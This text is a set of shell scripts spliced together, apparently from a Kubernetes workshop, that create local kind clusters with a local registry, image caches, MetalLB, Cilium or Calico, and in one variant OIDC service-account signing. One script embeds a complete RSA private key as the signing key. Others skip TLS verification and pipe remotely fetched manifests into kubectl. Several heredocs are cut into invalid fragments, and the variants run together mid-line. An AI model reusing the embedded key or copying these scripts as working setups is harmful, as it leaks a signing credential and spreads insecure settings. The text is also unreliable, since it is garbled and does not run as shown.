-n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF + +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF + +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + ipFamily: ipv6 +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].GlobalIPv6Address') +networkkind=$(echo ${ipkind} | rev | cut -d: -f2- | rev): + +#kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}${number}1-${networkkind}${number}9 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +curl -s https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml | sed 's/Fail/Ignore/' | kubectl --context=kind-kind${number} apply -f - + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" 